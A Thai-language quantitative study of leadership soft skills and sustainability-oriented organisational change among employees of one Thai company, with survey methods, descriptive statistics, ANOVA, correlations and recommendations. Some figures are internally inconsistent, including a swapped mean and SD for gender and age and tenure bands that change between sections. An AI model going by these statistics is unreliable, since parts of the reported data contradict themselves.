การวิจัยครั้งนี้เป็นการวิจัยเชิงปริมาณ (Quantitative Research) เก็บข้อมูลจากพนักงานบริษัท เอสไอ ดอท คอม (ประเทศไทย) จำกัดมีวัตถุประสงค์เพื่อศึกษาความสัมพันธ์ระหว่าง Soft Skills ด้านภาวะผู้นำกับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน โดยใช้แบบสอบถามเป็นเครื่องมือหลักในการรวบรวมข้อมูลจากกลุ่มตัวอย่าง ปริมาณ โดยมีขั้นตอนการดำเนินการวิจัยรวม 3 ขั้นตอน ดังนี้  ส่วนที่ 1 ข้อมูลทั่วไปของผู้ตอบแบบสอบถาม  เพศ อายุ ระดับการศึกษา และระยะเวลาที่ทำงานในองค์กร ส่วนที่ 2 ข้อข้อมเกี่ยวกับ Soft Skills ด้านภาวะผู้นำ แบ่งเป็น 3 ด้าน ได้แก่ ความสามารถในการสื่อสาร การตัดสินใจและการคิดเชิงกลยุทธ์ การสร้างแรงจูงใจ และการพัฒนา ส่วนที่ 3 ข้อมูลเกี่ยวกับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน แบ่งเป็น 4 ด้าน ได้แก่ วิสัยทัศน์และการเปลี่ยนแปลง นวัตกรรมและเทคโนโลยี คุณธรรมและความโปร่งใส และความยั่งยืนในระยะยาว รวม 18 ข้อ

           แบบสอบถามผ่านการตรวจสอบความตรงเชิงเนื้อหาโดยผู้ทรงคุณวุฒิ 3 ท่าน และมีค่าดัชนีความสอดคล้อง (IOC) เท่ากับ .93 อีกทั้งได้นำไปทดลองใช้กับกลุ่มตัวอย่าง 30 คนเพื่อหาค่าความเชื่อมั่นด้วยค่าสัมประสิทธิ์แอลฟาของครอนบาค (Cronbach’s Alpha) ได้ค่าความเชื่อมั่นรวมเท่ากับ 0.97

ประชากรและกลุ่มตัวอย่าง

            ประชากรในการวิจัยครั้งนี้คือบุคลากรของบริษัท เอสไอ ดอท คอม (ประเทศไทย) จำกัด จำนวนทั้งสิ้น 179 คน การกำหนดขนาดกลุ่มตัวอย่างอ้างอิงจาก ตารางของ Krejcie และ Morgan ซึ่งกำหนดว่า สำหรับประชากรจำนวน 179 คน ควรมีขนาดกลุ่มตัวอย่างเท่ากับ 122 คน ดังนั้นผู้วิจัยจึงกำหนดกลุ่มตัวอย่างจำนวน 122 คน โดยใช้ การสุ่มแบบเจาะจง (Purposive Sampling) จากผู้ที่มีคุณสมบัติตรงตามเกณฑ์ เช่น มีประสบการณ์หรือเกี่ยวข้องกับกระบวนการขับเคลื่อนองค์กรอย่างเป็นรูปธรรม

การสร้างเครื่องมือและการตรวจสอบเครื่องมือ

          เครื่องมือที่ใช้ในการวิจัยคือ แบบสอบถาม (Questionnaire) ที่ผู้วิจัยพัฒนาขึ้นโดยอิงจากกรอบแนวคิดตามวัตถุประสงค์การวิจัย แบ่งเป็น 3 ส่วน ได้แก่ :

1 ส่วนที่ 1 ข้อมูลทั่วไปของผู้ตอบแบบสอบถาม เพศ อายุ ระดับการศึกษา และระยะ

เวลาที่ทำงานในองค์กร

2 ส่วนที่ 2 ข้อคำถามเกี่ยวกับ Soft Skills ด้านภาวะผู้นำ แบ่งเป็น 3 ด้าน ได้แก่ ความ

สามารถในการสื่อสาร การตัดสินใจและการคิดเชิงกลยุทธ์ การสร้างแรงจูงใจ และการพัฒนาทีมงานรวม 12 ข้อ

3 ส่วนที่ 3 ข้อคำถามเกี่ยวกับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน แบ่งเป็น 4 ด้าน ได้แก่ วิสัยทัศน์และการเปลี่ยนแปลง นวัตกรรมและเทคโนโลยี คุณธรรมและความโปร่งใส และความยั่งยืนในระยะยาว รวม 18 ข้อ

           แบบสอบถามผ่านการตรวจสอบความตรงเชิงเนื้อหาโดยผู้ทรงคุณวุฒิ 3 ท่าน และมีค่าดัชนีความสอดคล้อง (IOC) เท่ากับ .93 อีกทั้งได้นำไปทดลองใช้กับกลุ่มตัวอย่าง 30 คนเพื่อหาค่าความเชื่อมั่นด้วยค่าสัมประสิทธิ์แอลฟาของครอนบาค (Cronbach’s Alpha) ได้ค่าความเชื่อมั่นรวมเท่ากับ 0.97

          สถิติที่ใช้ในการวิเคราะห์ 1 สถิติเชิงพรรณนา ใช้ค่าร้อยละ ค่าเฉลี่ย ส่วนเบี่ยงเบนมาตรฐาน 2 สถิติเชิงอนุมาน เพื่อวิเคราะห์ ค่าสหสัมพันธ์ของเพียร์สัน (Pearson’s Corre-lation Coefficient) เพื่อวิเคราะห์ความสัมพันธ์ระหว่างตัวแปรต้น ได้แก่ ความสามารถในการสื่อสาร การตัดสินใจและการคิดเชิงกลยุทธ์ การสร้างแรงจูงใจ และการพัฒนาทีมงาน กับตัวแปรตาม ได้แก่ วิสัยทัศน์และการเปลี่ยนแปลง นวัตกรรมและเทคโนโลยี คุณธรรมและความโปร่งใส และความยั่งยืนในระยะยาว โดยใช้เกณฑ์ในการแปลค่าความสัมพันธ์ตามระดับดังนี้: ต่ำมาก (0.01–0.20), ต่ำ (0.21–0.40), ปานกลาง (0.41–0.60), สูง (0.61–0.80), สูงมาก (0.81–1.00) การวิเคราะห์ t-test สำหรับเปรียบเทียบความแตกต่างระหว่างเพศ  การวิเคราะห์ One-way ANOVA สำหรับเปรียบเทียบความแตกต่างระหว่างหลายกลุ่มตามลักษณะส่วนบุคคล

ผลการวิจัย

พบว่าผู้ตอบส่วนใหญ่เป็นเพศหญิง จำนวน 80 คน คิดเป็นร้อยละ 65.6 ในขณะที่เพศชายมีจำนวน 42 คน คิดเป็นร้อยละ 34.4 แสดงให้เห็นว่าเพศหญิงมีสัดส่วนมากกว่าชายในการตอบแบบสอบถามชุดนี้อย่างชัดเจน  ส่วนใหญ่อยู่ในช่วงอายุ 30–40 ปี จำนวน 56 คน คิดเป็นร้อยละ 45.9 รองลงมาคือกลุ่มอายุต่ำกว่า 30 ปี จำนวน 46 คน คิดเป็นร้อยละ 37.7 และกลุ่มอายุมากกว่า 40 ปี มีจำนวน 20 คน คิดเป็นร้อยละ 16.4 สะท้อนว่าแบบสอบถามส่วนใหญ่ได้รับการตอบจากคนวัยทำงานตอนต้นถึงกลางส่วนใหญ่จบการศึกษาระดับปริญญาตรี จำนวน 108 คน คิดเป็นร้อยละ 88.5 ในขณะที่ระดับต่ำกว่าปริญญาตรีและสูงกว่าปริญญาตรีมีจำนวนเท่ากันคือ 7 คน หรือร้อยละ 5.7 ต่อกลุ่ม แสดงให้เห็นว่ากลุ่มเป้าหมายหลักของการวิจัยนี้คือผู้ที่มีการศึกษาระดับปริญญาตรีผู้ตอบแบบสอบถามส่วนใหญ่อยู่ในองค์กรเป็นระยะเวลาต่ำกว่า 5 ปี จำนวน 73 คน คิดเป็นร้อยละ 59.8 รองลงมาคือผู้ที่มีประสบการณ์ทำงาน 5–10 ปี จำนวน 40 คน คิดเป็นร้อยละ 32.8 และกลุ่มที่มีประสบการณ์มากกว่า 10 ปีมีเพียง 9 คน หรือร้อยละ 7.4 สะท้อนให้เห็นว่าองค์กรส่วนใหญ่อาจมีบุคลากรที่เพิ่งเริ่มงานหรือยังอยู่ในช่วงต้นของการทำงาน

            ผลการวิจัยด้าน ความสามารถในการสื่อสาร การตัดสินใจและการคิดเชิงกลยุทธ์ การสร้างแรงจูงใจและพัฒนาทีมงาน วิสัยทัศน์และการเปลี่ยนแปลง นวัตกรรมและเทคโนโลยี คุณธรรมและความโปร่งใส การขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน ค่าเฉลี่ย (x̄) และส่วนเบี่ยงเบนมาตรฐาน (SD) ความสามารถในการสื่อสารข้อที่มีค่าเฉลี่ยสูงที่สุดคือ ข้าพเจ้าสามารถอธิบายแนวคิดให้ผู้อื่นเข้าใจได้อย่างชัดเจน (x̄ = 3.5, SD = 0.55) รองลงมาคือ ข้าพเจ้าสามารถเจรจาและประสานงานได้ดีในทุกระดับ (x̄ = 3.48, SD = 0.52) และค่าต่ำที่สุดคือ ข้าพเจ้าสื่อสารเป้าหมายของทีมได้อย่างมีประสิทธิภาพ (x̄ = 3.46, SD = 0.55) ค่าเฉลี่ย (x̄) และส่วนเบี่ยงเบนมาตรฐาน (SD) การตัดสินใจและการคิดเชิงกลยุทธ์ข้อที่มีค่าเฉลี่ยสูงที่สุดคือ ข้าพเจ้าสามารถประเมินสถานการณ์และตัดสินใจได้อย่างมั่นใจ (x̄ = 3.48, SD = 0.56) รองลงมาคือ ข้าพเจ้าคิดเชิงกลยุทธ์เพื่อสนับสนุนทิศทางขององค์กร (x̄ = 3.48, SD = 0.5) และค่าต่ำที่สุดคือ ข้าพเจ้ามีทักษะในการวางแผนล่วงหน้าอย่างเป็นระบบ (x̄ = 3.43, SD = 0.55) ค่าเฉลี่ย (x̄) และส่วนเบี่ยงเบนมาตรฐาน (SD) การสร้างแรงจูงใจและพัฒนาทีมงาน ข้อที่มีค่าเฉลี่ยสูงที่สุดคือ ข้าพเจ้าส่งเสริมและให้กำลังใจทีมอย่างสม่ำเสมอ (x̄ = 3.52, SD = 0.55) รองลงมาคือ ข้าพเจ้าช่วยให้ทีมเห็นคุณค่าและเป้าหมายของงาน (x̄ = 3.49, SD = 0.52) และค่าต่ำที่สุดคือ ข้าพเจ้าสร้างสภาพแวดล้อมที่เอื้อต่อการทำงานร่วมกัน (x̄ = 3.47, SD = 0.53)ค่าเฉลี่ย (x̄) และส่วนเบี่ยงเบนมาตรฐาน (SD) วิสัยทัศน์และการเปลี่ยนแปลงข้อที่มีค่าเฉลี่ยสูงที่สุดคือ ผู้นำองค์กรส่งเสริมการเปลี่ยนแปลงเพื่อความยั่งยืน (x̄ = 3.47, SD = 0.59) รองลงมาคือ มีแผนกลยุทธ์ที่รองรับความเปลี่ยนแปลงด้านสิ่งแวดล้อม (x̄ = 3.46, SD = 0.55) และค่าต่ำที่สุดคือ สมาชิกองค์กรมีส่วนร่วมในการวางเป้าหมายระยะยาว (x̄ = 3.45, SD = 0.59)ค่าเฉลี่ย (x̄) และส่วนเบี่ยงเบนมาตรฐาน (SD) นวัตกรรมและเทคโนโลยีข้อที่มีค่าเฉลี่ยสูงที่สุดคือ การเปลี่ยนผ่านสู่ดิจิทัลได้รับการบริหารจัดการอย่างเหมาะสม (x̄ = 3.45, SD = 0.55) รองลงมาคือ พนักงานสามารถปรับตัวกับเทคโนโลยีใหม่ ๆ ได้อย่างรวดเร็ว (x̄ = 3.45, SD = 0.55) และค่าต่ำที่สุดคือ องค์กรมีการใช้เทคโนโลยีเพื่อสนับสนุนการเติบโต (x̄ = 3.43, SD = 0.53)ค่าเฉลี่ย (x̄) และส่วนเบี่ยงเบนมาตรฐาน (SD) คุณธรรมและความโปร่งใสข้อที่มีค่าเฉลี่ยสูงที่สุดคือ การสื่อสารภายในองค์กรโปร่งใสและตรวจสอบได้ (x̄ = 3.49, SD = 0.58) รองลงมาคือ มีการบริหารความขัดแย้งอย่างยุติธรรม (x̄ = 3.48, SD = 0.55) และค่าต่ำที่สุดคือ ผู้บริหารเป็นแบบอย่างที่ดีด้านจริยธรรม (x̄ = 3.47, SD = 0.56) ค่าเฉลี่ย (x̄) และส่วนเบี่ยงเบนมาตรฐาน (SD) ความยั่งยืนในระยะยาวข้อที่มีค่าเฉลี่ยสูงที่สุดคือ องค์กรมีนโยบายสนับสนุนสิ่งแวดล้อมอย่างต่อเนื่อง (x̄ = 3.55, SD = 0.55) รองลงมาคือ มีกลไกติดตามความก้าวหน้าด้านความยั่งยืน (x̄ = 3.53, SD = 0.55) และค่าต่ำที่สุดคือ องค์กรของเราสามารถปรับตัวต่อวิกฤตการณ์ต่าง ๆ ได้อย่างยั่งยืน (x̄ = 3.50, SD = 0.53)

 ผลการวิจัย ด้านการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน จำแนกตาม เพศ อายุ ระดับการศึกษา และระยะเวลาที่ทำงานในองค์กร   การวิเคราะห์ค่าเฉลี่ย และส่วนเบี่ยงเบนมาตรฐาน ด้านการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน จำแนกตาม เพศพบว่าเพศชายและหญิงมีระดับความคิดเห็นต่อ Soft Skills ในแต่ละด้านใกล้เคียงกัน โดยภาพรวมทั้ง 18                                          

ข้อ เพศชายมีค่าเฉลี่ย x̄ = 0.55 และ SD = 3.450, เพศหญิงมี x̄ = 0.56 และ SD = 3.482, ซึ่งแสดงถึงความสอดคล้องในการประเมินระหว่างเพศ การวิเคราะห์ค่าเฉลี่ย และส่วนเบี่ยงเบนมาตรฐาน ด้านการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน จำแนกตาม อายุจากผลการวิเคราะห์ พบว่าอันดับ 1 คือกลุ่มต่ำกว่า 30 ปี (x̄ = 3.53, SD = 0.576) รองลงมาคือกลุ่มมากกว่า 40 ปี (x̄ = 3.45, SD = 0.523) และอันดับสุดท้ายคือกลุ่มอายุ 30–40 ปี (x̄ = 3.44, SD = 0.548) การวิเคราะห์ค่าเฉลี่ย และส่วนเบี่ยงเบนมาตรฐาน ด้านการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน จำแนกตาม ระดับการศึกษาจากผลการวิเคราะห์ พบว่าอันดับ 1 คือกลุ่มต่ำกว่าป.ตรี (x̄ = 3.57, SD = 0.535) รองลงมาคือกลุ่มสูงกว่าป.ตรี (x̄ = 3.47, SD = 0.563) และอันดับสุดท้ายคือกลุ่มป.ตรี (x̄ = 3.44, SD = 0.569)การวิเคราะห์ค่าเฉลี่ย และส่วนเบี่ยงเบนมาตรฐาน ด้านการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน จำแนกตาม อายุงานจากผลการวิเคราะห์ พบว่าอันดับ 1 คือกลุ่ม<5 ปี (x̄ = 3.53, SD = 0.550) รองลงมาคือกลุ่ม5–15 ปี (x̄ = 3.48, SD = 0.536) และอันดับสุดท้ายคือกลุ่ม>15 ปี (x̄ = 3.34, SD = 0.738)

ผลการวิเคราะห์สมมติฐานเปรียบเทียบปัจจัยส่วนบุคคลที่ส่งผลต่อการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนการวิเคราะห์เปรียบเทียบความแตกต่างของการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนระหว่างเพศชายและเพศหญิง พบว่า ทั้ง 4 ด้าน ได้แก่ ด้านวิสัยทัศน์และการเปลี่ยนแปลง ด้านนวัตกรรมและเทคโนโลยี ด้านคุณธรรมและความโปร่งใส และด้านความยั่งยืนในระยะยาว ไม่มีความแตกต่างกันอย่างมีนัยสำคัญทางสถิติ (p > 0.05) เช่นเดียวกับค่าเฉลี่ยรวมทั้ง 4 ด้าน ที่ไม่มีความแตกต่างอย่างมีนัยสำคัญเช่นกัน (p = 0.63)หมายความว่า ผู้ตอบแบบสอบถามทั้งเพศชายและหญิงมีระดับความคิดเห็นเกี่ยวกับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนไม่แตกต่างกันในเชิงสถิติการเปรียบเทียบการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน จำแนกตามอายุผลการวิเคราะห์ พบว่าด้าน ‘คุณธรรมและจริยธรรม’ มีความแตกต่างระหว่างกลุ่มมากที่สุด (F = 1.114, Sig. = 0.332) ขณะที่ด้าน ‘นวัตกรรม’ มีความแตกต่างระหว่างกลุ่มน้อยที่สุด (F = 0.115, Sig. = 0.892)การเปรียบเทียบการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน จำแนกตามระดับการศึกษาจากผลการวิเคราะห์ พบว่าด้าน ‘นวัตกรรม’ มีความแตกต่างระหว่างกลุ่มมากที่สุด (F = 1.218, Sig. = 0.299) ขณะที่ด้าน ‘ความยั่งยืน’ มีความแตกต่างระหว่างกลุ่มน้อยที่สุด (F = 0.251, Sig. = 0.778)การเปรียบเทียบการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน จำแนกตามอายุงานจากผลการวิเคราะห์ พบว่าด้าน ‘ความยั่งยืน’ มีความแตกต่างระหว่างกลุ่มมากที่สุด (F = 0.803, Sig. = 0.45) ขณะที่ด้าน ‘วิสัยทัศน์’ มีความแตกต่างระหว่างกลุ่มน้อยที่สุด (F = 0.147, Sig. = 0.864)

ผลการวิเคราะห์ค่าสหสัมพันธ์ (Correlation) ระหว่างตัวแปรความสามารถในการสื่อสาร  การตัดสินใจและการคิดเชิงกลยุทธ์ การสร้างแรงจูงใจและพัฒนาทีมงาน วิสัยทัศน์และการเปลี่ยนแปลง นวัตกรรมและเทคโนโลยี คุณธรรมและความโปร่งใส ความยั่งยืนในระยะยาวด้าน Soft Skills และด้านภาวะผู้นำและด้านการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน  ผลการวิเคราะห์พบว่า ทุกตัวแปรมีค่าสหสัมพันธ์ทางบวกที่มีนัยสำคัญทางสถิติในระดับ p < 0.001 (***) โดยมีค่าสหสัมพันธ์ตั้งแต่ระดับปานกลางถึงสูงมาก ซึ่งสามารถตีความได้ว่า Soft Skills ด้านภาวะผู้นำ ได้แก่ การสื่อสาร การตัดสินใจ และการสร้างแรงจูงใจ มีความสัมพันธ์กับการขับเคลื่อนองค์กรในมิติวิสัยทัศน์ นวัตกรรม คุณธรรม และความยั่งยืนอย่างมีนัยสำคัญ โดยเฉพาะการสร้างแรงจูงใจมีความสัมพันธ์สูงสุดกับการขับเคลื่อนความยั่งยืน และค่าผลรวมเฉลี่ยของตัวแปรต้นสัมพันธ์สูงกับผลรวมเฉลี่ยของตัวแปรตาม1. ภาพรวมผลการวิเคราะห์ผลการวิเคราะห์สหสัมพันธ์ระหว่างตัวแปรต้น 3 ด้าน (การสื่อสาร, การตัดสินใจ, การสร้างแรงจูงใจ) และตัวแปรตาม 4 ด้าน (วิสัยทัศน์, นวัตกรรม, คุณธรรม, ความยั่งยืน) รวมถึงตัวแปรรวม พบว่าทุกตัวแปรมีความสัมพันธ์ทางบวกในระดับปานกลางถึงสูง และไม่มีตัวแปรใดมีความสัมพันธ์ทางลบ ผลการวิเคราะห์รายตัวแปร การสร้างแรงจูงใจมีค่าสหสัมพันธ์สูงที่สุดกับความยั่งยืน (r = 0.741) การสื่อสารมีค่าสหสัมพันธ์สูงกับคุณธรรม (r = 0.733)   การสร้างแรงจูงใจและนวัตกรรมมีค่าสหสัมพันธ์สูง (r = 0.702)  ค่าสหสัมพันธ์ระหว่างตัวแปรต้นรวมกับตัวแปรตามรวมมีค่าสูงมาก (r = 0.868) การตีความผลในภาพรวมSoft Skills ด้านภาวะผู้นำ ได้แก่ การสื่อสาร การตัดสินใจ และการสร้างแรงจูงใจ มีอิทธิพลอย่างมีนัยสำคัญต่อการขับเคลื่อนองค์กรสู่ความยั่งยืนในมิติของวิสัยทัศน์ นวัตกรรม คุณธรรม และความยั่งยืนโดยรวมการพัฒนาทักษะดังกล่าวจะช่วยให้องค์กรสามารถดำเนินงานได้อย่างยั่งยืนและมีความยืดหยุ่นต่อการเปลี่ยนแปลงในอนาคต  ผลการวิเคราะห์สนับสนุนสมมติฐานที่ว่า Soft Skills ด้านภาวะผู้นำมีความสัมพันธ์เชิงบวกอย่างมีนัยสำคัญ กับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนในทุกมิติ

การอภิปรายผล

           ผลการวิจัยพบว่าไม่มีความแตกต่างอย่างมีนัยสำคัญทางสถิติระหว่างเพศชายและหญิงในการรับรู้ด้านการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน ซึ่งสอดคล้องกับงานของ Northouse (2016) ที่ชี้ให้เห็นว่า “ภาวะผู้นำไม่จำกัดเพศ” หากแต่เน้นความสามารถและคุณลักษณะเฉพาะบุคคล เช่น ความสามารถในการสื่อสาร การคิดวิเคราะห์ และความเข้าใจเชิงระบบGoleman (1998) ยังย้ำว่า emotional intelligence เป็นตัวแปรที่สำคัญกว่าความแตกต่างทางชีวภาพ โดยเฉพาะอย่างยิ่งในสภาวะแวดล้อมการทำงานยุคใหม่ที่ต้องอาศัย Soft Skills มากกว่าความเข้มแข็งในรูปแบบเดิม ๆ

นอกจากนี้ ยังสอดคล้องกับผลการวิจัยของ Eagly และ Carli (2003) ที่พบว่าแม้ผู้นำหญิงและชายอาจใช้รูปแบบภาวะผู้นำที่ต่างกันเล็กน้อย (transformational vs. transactional) แต่ผลลัพธ์ด้านการบริหารองค์กรไม่แตกต่างกันอย่างมีนัย แม้ผลวิจัยจะไม่พบความแตกต่างที่มีนัยทางสถิติ แต่ค่าเฉลี่ยของกลุ่มอายุ 21–30 ปีอยู่ในระดับสูงกว่ากลุ่มอื่นอย่างชัดเจน ซึ่งอาจสะท้อนความตื่นตัวของบุคลากรยุคใหม่ต่อแนวคิดด้านความยั่งยืนและการเปลี่ยนแปลงองค์กร ซึ่งสอดคล้องกับทฤษฎี Generational Cohort ของ Howe & Strauss (2000) ที่ระบุว่าคนเจน Y และ Z มีแนวโน้มเปิดรับการเรียนรู้และการเปลี่ยนแปลงมากกว่าคนรุ่นก่อนTapscott (2009) สนับสนุนว่าคนรุ่นใหม่เติบโตมากับเทคโนโลยีดิจิทัล มีทักษะการคิดเชิงนวัตกรรม และเชื่อมั่นในพลังของ “ความยั่งยืน” เป็นแกนหลักของการเปลี่ยนแปลงองค์กร ส่วน Argyris (1993) อธิบายว่า คนที่อายุน้อยมักมีการเรียนรู้แบบ double-loop learning ทำให้สามารถปรับตัวต่อแนวคิดใหม่และเปลี่ยนกระบวนได้

ผลการวิจัยไม่พบความแตกต่างอย่างมีนัยสำคัญซึ่งสะท้อนถึงประสิทธิภาพของการสื่อสารภายในองค์กรที่สามารถทำให้พนักงานทุกระดับเข้าใจนโยบายและเป้าหมายเดียวกันไม่ว่าระดับการศึกษาจะต่างกันเพียงใดKnowles (1980) เสนอว่าในระบบการเรียนรู้ของผู้ใหญ่ (Andragogy) บุคลากรทุกระดับมีศักยภาพในการเรียนรู้จากประสบการณ์และปฏิสัมพันธ์ในองค์กรโดยตรง ซึ่งอาจลดผลของระดับการศึกษาต่อการรับรู้เชิงนโยบายSchein (2010) ก็ย้ำว่า วัฒนธรรมองค์กรที่ชัดเจนและสม่ำเสมอจะกลบผลของความต่างทางปัจเจก เช่น ระดับการศึกษา ในขณะที่ Argyris & Schön (1978) มองว่าองค์กรที่ส่งเสริมการเรียนรู้ร่วมกันจะช่วยลดช่องว่างทางความรู้ระหว่างบุคลากรทุกระดับ

 จากผลวิจัย กลุ่มที่มีอายุงานน้อยมีค่าเฉลี่ยการรับรู้สูงกว่ากลุ่มที่อยู่มานาน แม้จะไม่แตกต่างอย่างมีนัยสำคัญทางสถิติ แต่นี่อาจบ่งชี้ถึง “แรงจูงใจเชิงบวก” ในกลุ่มพนักงานใหม่ ซึ่งยังคงมีความหวัง ความกระตือรือร้น และการเปิดรับต่อแนวทางใหม่ ๆ ในองค์กร Herzberg (1959) ระบุว่า “ความก้าวหน้า” และ “โอกาสในการเติบโต” คือปัจจัยจูงใจสำคัญในกลุ่มพนักงานใหม่ ขณะที่คนที่อยู่มานานอาจตกอยู่ในสภาวะของ “routine” ซึ่งสอดคล้องกับ Lewin (1951) ที่กล่าวถึงแรงต้านการเปลี่ยนแปลงในกลุ่มที่ปรับตัวกับโครงสร้างเดิมTichy & Devanna (1990) เสนอว่า การพัฒนาองค์กรแบบ Transformational Change ต้องเริ่มจากการปรับวัฒนธรรมของกลุ่มพนักงานที่อยู่มานาน โดยการสร้าง “sense of urgency” เพื่อกระตุ้นให้พวกเขาตระหนักถึงความจำเป็นของความยั่งยืน

               ผลการวิจัยพบว่าทุกมิติของการขับเคลื่อนองค์กร เช่น วิสัยทัศน์ นวัตกรรม ความโปร่งใส และความยั่งยืนในระยะยาว มีความสัมพันธ์กันในระดับสูงมาก (r = 0.704 – 0.868, p < .001) สะท้อนถึงลักษณะ “บูรณาการเชิงระบบ” ขององค์ประกอบเหล่านี้

  การเชื่อมโยงเหล่านี้สอดคล้องกับแนวคิดของ Peter Senge (1990) ในเรื่อง “องค์กรแห่งการเรียนรู้” (Learning Organization) ซึ่งทุกหน่วยในองค์กรมีบทบาทเชื่อมโยงกันภายใต้เป้าหมายเดียวกันคือ “ความยั่งยืน” Kotter (1996) ระบุว่าองค์ประกอบเช่น “การมีวิสัยทัศน์ร่วม” และ “ความสามารถในการปรับตัว” คือตัวเร่งที่ทำให้การเปลี่ยนแปลงเกิดขึ้นอย่างยั่งยืน  Burns (1978) เสนอว่าการนำองค์กรยุคใหม่ต้องใช้ภาวะผู้นำแบบเปลี่ยนแปลง (transformational leadership) ซึ่งทำให้เกิดการเสริมแรงเชิงบวกต่อระบบโครงสร้าง วัฒนธรรม และผลลัพธ์  Schaltegger & Wagner (2006) กล่าวถึงการจัดการอย่างยั่งยืนต้องรวมถึงการพัฒนาเทคโนโลยี (innovation) ธรรมาภิบาล และความโปร่งใสควบคู่กัน   Elkington (1997) เสนอกรอบ Triple Bottom Line (People, Planet, Profit) ที่เน้นความสัมพันธ์ระหว่าง “ผลกระทบต่อผู้มีส่วนได้ส่วนเสีย” กับ “การเติบโตทางเศรษฐกิจ” และ “ความรับผิดชอบต่อสิ่งแวดล้อม”  Zohar & Marshall (2004) เสริมว่าผู้นำที่มีภาวะจิตวิญญาณ (spiritual intelligence) จะสามารถสร้างวัฒนธรรมองค์กรที่มีเป้าหมายยั่งยืนได้อย่างแท้จริงในบริบทไทย ผังการพัฒนาองค์กรของ Pornchai Mongkhonvanit (2562) ยืนยันว่าการมีวิสัยทัศน์และโครงสร้างเชิงบูรณาการสามารถขับเคลื่อนองค์กรไทยให้เข้าสู่ความยั่งยืนได้อย่างเป็นระบบนอกจากนี้ ผลการศึกษาของ Bocken et al. (2014), Lozano (2015), และ Doppelt (2017) ต่างยืนยันว่าองค์ประกอบขององค์กรยั่งยืนไม่สามารถแยกส่วน แต่ต้องทำงานร่วมกันอย่างมีแบบแผน และใช้ภาวะผู้นำเป็นตัวเร่งกระบวนการทั้งหมด

 การตีความในภาพรวมSoft Skills ด้านภาวะผู้นำ ได้แก่ การสื่อสาร การตัดสินใจ และการสร้างแรงจูงใจ มีอิทธิพลอย่างมีนัยสำคัญต่อการขับเคลื่อนองค์กรสู่ความยั่งยืนในมิติของวิสัยทัศน์ นวัตกรรม คุณธรรม และความยั่งยืนโดยรวมการพัฒนาทักษะดังกล่าวจะช่วยให้องค์กรสามารถดำเนินงานได้อย่างยั่งยืนและมีความยืดหยุ่นต่อการเปลี่ยนแปลงในอนาคต ผลการวิเคราะห์สนับสนุนสมมติฐานที่ว่า Soft Skills ด้านภาวะผู้นำมีความสัมพันธ์เชิงบวกอย่างมีนัยสำคัญ กับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนในทุกมิติ

ข้อเสนอแนะเชิงนโยบายและการบริหารจัดการ

1 ส่งเสริม Soft Skills ด้านภาวะผู้นำอย่างเป็นระบบองค์กรควรจัดให้มีการอบรมและ

พัฒนาทักษะ Soft Skills อย่างต่อเนื่องใน 3 ด้านหลัก ได้แก่ การสื่อสารอย่างมีประสิทธิภาพ (Effective Communication)  การคิดเชิงกลยุทธ์ (Strategic Thinking) การสร้างแรงจูงใจและสร้างแรงบันดาลใจ (Motivation & Inspiration)   สอดคล้องกับแนวคิดของ Goleman (1998), Yukl (2013) และ Northouse (2016) ที่ระบุว่า Soft Skills เป็นรากฐานของภาวะผู้นำเชิงบูรณาการในยุคแห่งการเปลี่ยนแปลง

2 พัฒนาวัฒนธรรมองค์กรที่ส่งเสริมการขับเคลื่อนสู่ความยั่งยืน องค์กรควรกำหนด นโยบายด้าน “ความยั่งยืน”

ให้ชัดเจนใน 4 มิติ ได้แก่ วิสัยทัศน์และการเปลี่ยนแปลง นวัตกรรมและเทคโนโลยี ธรรมาภิบาลและความโปร่งใส ความยั่งยืนในระยะยาว โดยยึดหลักการของ Elkington (1997) ที่เสนอกรอบ Triple Bottom Line และแนวทางของ Peter Senge (1990) ที่เน้นองค์กรแห่งการเรียนรู้ (Learning Organization) เพื่อหล่อหลอมการทำงานเชิงบูรณาการ

3 เน้นการมีส่วนร่วมจากคนทุกช่วงวัยและทุกระดับการศึกษาแม้ผลการวิจัยจะไม่พบความแตกต่างเชิงสถิติระหว่างเพศ อายุ การศึกษา และอายุงาน แต่พบแนวโน้มเชิงคุณภาพที่คนรุ่นใหม่มีความตื่นตัวต่อแนวคิดความยั่งยืนมากกว่า ดังนั้นองค์กรควรพัฒนาแนวทาง “Cross Generational Engagement” เช่น การจัดโครงการ Reverse Mentoring, Inter-Generational Dialogue, และการสร้างชุมชนการเรียนรู้ (Community of Practice) ภายในองค์กร

4 พัฒนาระบบประเมินภาวะผู้นำและความยั่งยืนองค์กรด้วยดัชนีองค์รวมองค์กรควรใช้ดัชนีวัดผลลัพธ์แบบองค์รวม เช่น Leadership Effectiveness Index  Sustainability Performance Scorecard เพื่อติดตามและประเมินผลการเปลี่ยนแปลงอย่างเป็นระบบ ซึ่งเป็นแนวทางที่สนับสนุนโดย Doppelt (2017), Bocken et al. (2014) และ Schaltegger & Wagner (2006)

5 สนับสนุนการวิจัยและเรียนรู้ภายในองค์กร (Action Research) องค์กรควรส่งเสริมให้บุคลากรมีส่วนร่วมในการ

ทำวิจัยเชิงปฏิบัติ (Action Research) หรือระบบข้อเสนอแนะภายใน (Feedback Loops) ซึ่งจะช่วยให้เกิดการเรียนรู้แบบ Double-loop Learning ตามแนวทางของ Argyris & Schön (1978) และทำให้การพัฒนาภาวะผู้นำเชื่อมโยงกับสถานการณ์จริงขององค์กรอย่างลึกซึ้ง

เอกสารอ้างอิง

